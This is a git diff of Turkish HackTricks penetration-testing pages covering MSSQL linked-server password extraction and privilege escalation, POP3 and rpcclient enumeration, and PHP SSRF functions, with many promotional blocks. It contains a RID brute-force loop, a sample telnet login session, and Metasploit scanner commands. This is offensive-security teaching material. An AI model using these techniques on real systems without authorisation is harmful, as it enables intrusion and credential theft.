Bir saldırgan, SQL Server Bağlı Sunucuların şifrelerini SQL Örneklerinden çıkarabilir ve bunlarıık metin olarak alarak saldırgana hedef üzerinde daha büyük bir hak elde etmek için kullanılabilecek şifreler verir.
Bağlı Sunucular için depolanan şifreleri çıkarmak ve şifreleri çözmek için kullanılan betik [burada bulunabilir](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Bu saldırının çalışabilmesi için bazı gereksinimler ve yapılandırmalar yapılmalıdır.
Öncelikle, makinede Yönetici haklarına sahip olmalısınız veya SQL Server Yapılandırmalarını yönetme yeteneğine sahip olmalısınız.
@ -451,17 +460,17 @@ Bu saldırının çalışabilmesi için bazı gereksinimler ve yapılandırmalar
3. Uzak yönetici bağlantısını etkinleştirin.
Bu yapılandırmaları otomatikleştirmek için [bu depo](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) gerekli betiklere sahiptir.
Yapılandırma adımlarının her biri için bir PowerShell betiği yanı sıra, depo ayrıca yapılandırma betiklerini ve şifrelerin çıkarılması ve çözülmesini birleştiren tam bir betiğe de sahiptir.
Yapılandırma adımlarının her biri için bir PowerShell betiği bulunmasının yanı sıra, depo ayrıca yapılandırma betiklerini ve şifrelerin çıkarılması ve çözülmesini birleştiren tam bir betiğe de sahiptir.
Bu saldırı hakkında daha fazla bilgi için aşağıdaki bağlantılara başvurun:
[MSSQL Veritabanı Bağlantılı Sunucu Şifrelerinin Şifresini Çözme](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[MSSQL Veritabanı Bağlantı Sunucusu Şifrelerinin Şifresini Çözme](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[SQL Server Ayrılmış Yönetici Bağlantısını Sorun Giderme](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Yerel Yetki Yükseltme
MSSQL sunucusunu çalıştıran kullanıcı **SeImpersonatePrivilege** ayrıcalık belirteci etkinleştirmiş olacaktır.\
Büyük olasılıkla biri bu 2 sayfadan birini takip ederek **Yöneticiye yükseltebilir**:
MSSQL sunucusunu çalıştıran kullanıcı, **SeImpersonatePrivilege** ayrıcalık belirtecinin etkinleştirilmiş olacaktır.\
Büyük olasılıkla, **Yöneticiye yükseltme** yapabileceksiniz ve bu 2 sayfadan birini takip ederek Yöneticiye yükselebilirsiniz:
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
@ -477,13 +486,22 @@ Büyük olasılıkla biri bu 2 sayfadan birini takip ederek **Yöneticiye yükse
## Referanslar
* [Tüm Veritabanı Kullanıcılarının Listesini Nasıl Alabilirim?](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
* [SQL Server Giriş Kullanıcı İzinleri fn_my_permissions()](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
* [Gelişmiş MSSQL Enjeksiyon Hileleri](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [SQL Server Depolanan Prosedürlerin Hacklenmesi Bölüm 1 - Güvenilmeyen Veritabanları](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* [SQL Server Depolanan Prosedürlerin Hacklenmesi Bölüm 2 - Kullanıcı Taklit Etme](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [Metasploit Kullanarak SQL Server Üzerinden SMB Röle Saldırıları Gerçekleştirme](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [SQL Server'da Çalışan Kayıt Defteri Hakkında Çalışma](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
* [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
* [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## HackTricks Otomatik Komutları
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
@ -541,14 +559,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
```
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>

View file

@ -2,19 +2,27 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hackleme püf noktalarınızı paylaşarak PR'lar gönderin** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Temel Bilgiler
**Posta Ofisi Protokolü (POP)**, bilgisayar ağları ve İnternet alanında kullanılan bir protokol olarak tanımlanır ve **uzaktaki posta sunucusundan e-postaların çıkarılması ve alınması** için kullanılır, böylece bunlar yerel cihazda erişilebilir hale gelir. OSI modelinin uygulama katmanında konumlandırılan bu protokol, kullanıcıların e-postaları almasını ve almasını sağlar. **POP istemcilerinin** işleyişi genellikle posta sunucusuna bağlantı kurmayı, tüm iletileri indirmeyi, bu iletileri yerel olarak istemci sistemine depolamayı ve ardından bunları sunucudan kaldırmayı içerir. Bu protokolün üç sürümü olsa da, **POP3** en yaygın olarak kullanılan sürüm olarak öne çıkar.
**Posta Ofisi Protokolü (POP)**, bilgisayar ağları ve İnternet alanında kullanılan bir protokol olarak tanımlanır ve **uzaktaki posta sunucusundan e-postaların çıkarılması ve alınması** için kullanılır, böylece bunlar yerel cihazda erişilebilir hale gelir. OSI modelinin uygulama katmanında konumlandırılan bu protokol, kullanıcıların e-postaları almasını ve almasını sağlar. **POP istemcilerinin** işleyişi genellikle posta sunucusuna bağlantı kurmayı, tüm iletileri indirmeyi, bu iletileri yerel olarak istemci sistemine depolamayı ve ardından bunları sunucudan kaldırmayı içerir. Bu protokolün üç tane sürümü olsa da, **POP3** en yaygın olarak kullanılan sürüm olarak öne çıkar.
**Varsayılan portlar:** 110, 995(ssl)
```
@ -42,7 +50,7 @@ nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All a
## POP sözdizimi
POP komut örnekleri [buradan](http://sunnyoasis.com/services/emailviatelnet.html) alınmıştır.
POP komutları örnekleri [buradan](http://sunnyoasis.com/services/emailviatelnet.html) alınmıştır.
```bash
POP commands:
USER uid Log in as "uid"
@ -56,7 +64,9 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
```
Örnek:
### Post Office Protocol (POP)
POP is a protocol used by email clients to retrieve email from a mail server. During a penetration test, you can attempt to brute force POP credentials using tools like Hydra or Metasploit. Additionally, you can use a tool like `telnet` to manually interact with the POP server to retrieve emails and gather information.
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -83,15 +93,21 @@ password: PA$$W0RD!Z
```
## Tehlikeli Ayarlar
[https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
[https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073) adresinden alınmıştır.
| **Ayar** | **Açıklama** |
| **Ayar** | **Açıklama** |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Tüm kimlik doğrulama hata ayıklama işlemlerini etkinleştirir. |
| `auth_debug_passwords` | Bu ayar, günlük ayrıntı düzeyini, gönderilen şifreleri ve şema bilgilerini kaydeder. |
| `auth_debug` | Tüm kimlik doğrulama hata ayıklama işlemlerini etkinleştirir. |
| `auth_debug_passwords` | Bu ayar, günlük ayrıntısını ayarlar, gönderilen şifreler ve şema kaydedilir. |
| `auth_verbose` | Başarısız kimlik doğrulama denemelerini ve nedenlerini kaydeder. |
| `auth_verbose_passwords` | Kimlik doğrulaması için kullanılan şifreler kaydedilir ve kısaltılabilir. |
| `auth_anonymous_username` | ANONYMOUS SASL mekanizması ile oturum açarken kullanılacak kullanıcı adını belirtir. |
| `auth_verbose_passwords` | Kimlik doğrulaması için kullanılan şifreler kaydedilir ve ayrıca kısaltılabilir. |
| `auth_anonymous_username` | Bu, ANONYMOUS SASL mekanizması ile oturum açarken kullanılacak kullanıcı adını belirtir. |
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## HackTricks Otomatik Komutları
```
@ -136,13 +152,13 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
```
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuzu**](https://opensea.io/collection/the-peass-family)
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**.
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hackleme püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,43 +2,49 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi**](https://opensea.io/collection/the-peass-family)'ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler gönderin [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**'a PR gönderin.
</details>
### **RID Nedir**
**Try Hard Security Group**
### Göreceli Kimlikler (RID) ve Güvenlik Kimlikleri (SID) Genel Bakışı
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
**Göreceli Kimlikler (RID)** ve **Güvenlik Kimlikleri (SID)**, Windows işletim sistemlerinde ağ alanında kullanıcılar ve gruplar gibi nesneleri benzersiz bir şekilde tanımlamak ve yönetmek için temel bileşenlerdir.
{% embed url="https://discord.gg/tryhardsecurity" %}
- **SIDs**, her alanın ayırt edilebilir olduğunu sağlayan benzersiz kimlikler olarak hizmet eder.
- **RIDs**, bu alanlardaki nesneler için benzersiz kimlikler oluşturmak için SIDs'ye eklenir. Bu kombinasyon, nesne izinlerinin ve erişim kontrollerinin hassas takibi ve yönetimine olanak tanır.
***
Örneğin, `pepe` adında bir kullanıcının, alanın SID'si ile belirli RID'sini birleştiren benzersiz bir kimliği olabilir. Bu, pepe için alan içinde tam ve benzersiz bir kimlik oluşturur: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
### Relative Identifiers (RID) ve Security Identifiers (SID) Genel Bakış
**Relative Identifiers (RID)** ve **Security Identifiers (SID)**, Windows işletim sistemlerinde ağ etki alanı içinde kullanıcılar ve gruplar gibi nesneleri benzersiz bir şekilde tanımlamak ve yönetmek için önemli bileşenlerdir.
- **SIDs**, her etki alanının ayırt edilebilir olduğunu sağlayan benzersiz kimlikler olarak hizmet eder.
- **RIDs**, bu etki alanlarındaki nesneler için benzersiz kimlikler oluşturmak için SIDs'ye eklenir. Bu kombinasyon, nesne izinlerinin ve erişim kontrollerinin hassas takibi ve yönetimine olanak tanır.
Örneğin, `pepe` adında bir kullanıcının, etki alanının SID'si ile belirli RID'sini birleştiren benzersiz bir kimliği olabilir. Bu, pepe için etki alanı içinde tam ve benzersiz bir kimlik oluşturur: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
### **rpcclient ile Numaralandırma**
### rpcclient ile Enumerasyon
Samba'dan gelen **`rpcclient`** yardımcı programı, **RPC uç noktaları aracılığıyla adlandırılmış borularla etkileşimde bulunmak** için kullanılır. **SMB oturumu kurulduktan sonra** SAMR, LSARPC ve LSARPC-DS arabirimlerine verilen aşağıdaki komutlar genellikle kimlik bilgilerini gerektirir.
**`rpcclient`** aracı, **RPC uç noktalarıyla adlandırılmış borular aracılığıyla etkileşimde bulunmak** için Samba'dan kullanılır. **SMB oturumu kurulduktan sonra** SAMR, LSARPC ve LSARPC-DS arayüzlerine verilebilecek aşağıdaki komutlar genellikle kimlik bilgilerini gerektirir.
#### Sunucu Bilgileri
* **Sunucu Bilgilerini** almak için: `srvinfo` komutu kullanılır.
#### Kullanıcıların Numaralandırılması
#### Kullanıcıların Enumerasyonu
* **Kullanıcılar**, `querydispinfo` ve `enumdomusers` kullanılarak listelenebilir.
* **Bir kullanıcının ayrıntıları**, `queryuser <0xrid>` ile alınabilir.
* **Bir kullanıcının grupları**, `queryusergroups <0xrid>` ile alınabilir.
* **Bir kullanıcının SID'si**, `lookupnames <username>` ile alınabilir.
* **Kullanıcıların takma adları**, `queryuseraliases [builtin|domain] <sid>` ile alınabilir.
* **Kullanıcılar**, `querydispinfo` ve `enumdomusers` komutları kullanılarak listelenebilir.
* **Bir kullanıcının detayları** için: `queryuser <0xrid>`.
* **Bir kullanıcının grupları** için: `queryusergroups <0xrid>`.
* **Bir kullanıcının SID'si**, `lookupnames <username>` ile alınır.
* **Kullanıcıların takma adları**, `queryuseraliases [builtin|domain] <sid>` ile alınır.
```bash
# Users' RIDs-forced
for i in $(seq 500 1100); do
@ -62,18 +68,18 @@ done
* **Alanlar** için: `enumdomains`.
* **Bir alanın SID'si alınır** with: `lsaquery`.
* **Alan bilgileri** alınır: `querydominfo`.
* **Alan bilgileri** almak için: `querydominfo`.
#### Paylaşımların Sıralanması
* **Tüm mevcut paylaşımlar** için: `netshareenumall`.
* **Belirli bir paylaşım hakkında bilgi** almak için: `netsharegetinfo <share>`.
#### SIDs ile İlgili Ek İşlemler
#### SID'lerle İlgili Ek İşlemler
* **İsimlere göre SIDs** için: `lookupnames <username>`.
* **Daha fazla SIDs** için: `lsaenumsid`.
* **Daha fazla SIDs kontrolü için RID döngüsü** ile: `lookupsids <sid>`.
* **İsimlere göre SID'ler** için: `lookupnames <username>`.
* **Daha fazla SID** için: `lsaenumsid`.
* **Daha fazla SID'yi kontrol etmek için RID döngüsü** ile: `lookupsids <sid>`.
#### **Ek komutlar**
@ -86,23 +92,29 @@ done
| enumdomgroups | Alan gruplarını sıralar | |
| createdomuser | Bir alan kullanıcısı oluşturur | |
| deletedomuser | Bir alan kullanıcısını siler | |
| lookupnames | LSARPC | Kullanıcı adlarını SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) değerlerine dönüştürür |
| lookupsids | SIDs'leri kullanıcı adlarına dönüştürür (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) döngüsü) | |
| lsaaddacctrights | Bir kullanıcı hesabına hak ekler | |
| lookupnames | LSARPC | Kullanıcı adlarını SID değerlerine bakar[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
| lookupsids | SID'leri kullanıcı adlarına bakar (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) döngüsü) | |
| lsaaddacctrights | Bir kullanıcı hesabına haklar ekler | |
| lsaremoveacctrights | Bir kullanıcı hesabından hakları kaldırır | |
| dsroledominfo | LSARPC-DS | Birincil alan bilgilerini alır |
| dsenumdomtrusts | Bir AD ormanı içinde güvenilen alanları sıralar | |
**_samrdump_** ve **_rpcdump_** araçlarının nasıl çalıştığını daha iyi **anlamak** için [**Pentesting MSRPC**](../135-pentesting-msrpc.md) makalesini okumalısınız.
**_samrdump_** ve **_rpcdump_** araçlarının nasıl çalıştığını daha iyi **anlamak** için [**Pentesting MSRPC**](../135-pentesting-msrpc.md) bölümünü okumalısınız.
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **_cybersecurity şirketinde_** mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **Bir** **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te **tanıtılmasını** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)'in koleksiyonunu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud) 'ya PR gönderin.**
* **[💬](https://emojipedia.org/speech-balloon/)** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın.**
</details>

View file

@ -6,17 +6,25 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
- **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
- **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### SSRF PHP fonksiyonları
**file\_get\_contents(), fopen(), file(), md5\_file()** gibi bazı fonksiyonlar, **kullanıcının veriyi kontrol edebildiği durumlarda** giriş olarak URL'leri kabul eder ve takip eder, bu da **mümkün olan SSRF zafiyetlerine** neden olabilir:
